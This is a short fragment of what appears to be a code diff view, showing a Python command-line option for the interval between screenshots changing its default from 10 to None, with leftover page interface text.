options.add_argument("--interval", dest="interval", type=int, metavar="SECONDS", default=10, help="Interval at which screenshots will be taken (default 10 seconds)")
|
options.add_argument("--interval", dest="interval", type=int, metavar="SECONDS", default=None, help="Interval at which screenshots will be taken (default 10 seconds)")
|
Loading…
Add table
Add a link
Reference in a new issue